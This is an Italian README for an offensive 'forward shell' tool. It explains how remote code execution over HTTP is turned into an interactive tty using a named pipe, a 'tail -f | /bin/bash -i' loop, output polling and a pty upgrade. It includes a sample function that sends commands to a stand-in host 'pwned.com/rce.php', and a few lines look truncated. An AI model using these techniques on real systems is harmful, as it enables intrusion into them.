
La mia implementazione in python3 di una Forward Shell
FShell è la mia implementazione di una Forward Shell. È progettata per ottenere una tty interattiva usando l'esecuzione remota di codice tramite un protocollo senza stato (es. HTTP).
Tuttavia, presenta anche svantaggi:
La frequenza delle richieste può essere modificata agendo sulla variabile BEACONING_DELAY.
Python3 & librerie:
Al momento è supportato solo Linux e richiede comandi/strumenti di base sul sistema remoto:
Modifica la variabile WRITABLE_FOLDER se /tmp non è scrivibile o se hai qualcosa di meglio (preferisci /dev/shm)
Devi assolutamente ridefinire la funzione execute per effettuare la tua esecuzione remota di codice:
def execute(cmd, verbose=False, timeout=None):
"""
:cmd Raw shell command to execute on the remote system
:timetout MANDATORY: Used to kill blocking execution loop (used in named pipe creation).
If you cannot, put named pipe creation in separated thread
:verbose Print full cmd executed on the remote system (Debug mode)
"""
# Put your RCE code here
r = requests.get('http://pwned.com/rce.php?cmd=%s' % (b64encode(cmd)), timeout=timeout)
return r.text.strip() # You can apply formating if the output is not only the output of command

I concetti sono piuttosto semplici.
Per prima cosa devi creare una named pipe sul sistema remoto.
Verrà usata per inviare comandi alla shell
mkfifo /tmp/input.
Poi, crea un ciclo bash che legge continuamente la named pipe e la invia a un processo bash interattivo che invia stdin e stderr a un file di output.
tail -f /tmp/input | /bin/bash -i > /tmp/output 2>&1
[Lettura della named pipe] -> [Esecuzione del contenuto della named pipe] -> [Invio di stdin/stderr nel file di output] -> [Torna a leggere la named pipe grazie all'opzione '-f' di tail]
La parte successiva è avviare un thread python che esegue cat /tmp/output regolarmente per ottenere l'output della shell.
Se il thread trova dati, pulisce il contenuto del file di output usando echo '' > /tmp/output
Consiglio: Per evitare log di errore per un file inesistente, lo script esegue il comando 'id' prima di avviare il thread 'GetOutput' per creare il file di output.
Uno degli ultimi passaggi è ottenere l'input dell'utente dal nostro script python e inviarlo alla named pipeecho USERCMD > /tmp/input
E il trucco finale per ottenere una tty remota interattiva è il comando 'upgrade_shell'.
Questo comando esegue un python -c 'import pty;pty.spawn("/bin/bash")' (e alcuni export e alias) per generare una tty reale per il processo corrente (usato nel ciclo della named pipe)
Grazie a @ippsec, non sapevo che qualcosa del genere fosse possibile prima di guardare questi video Stratosphere HTB Write Up!
Spero che ti diverta!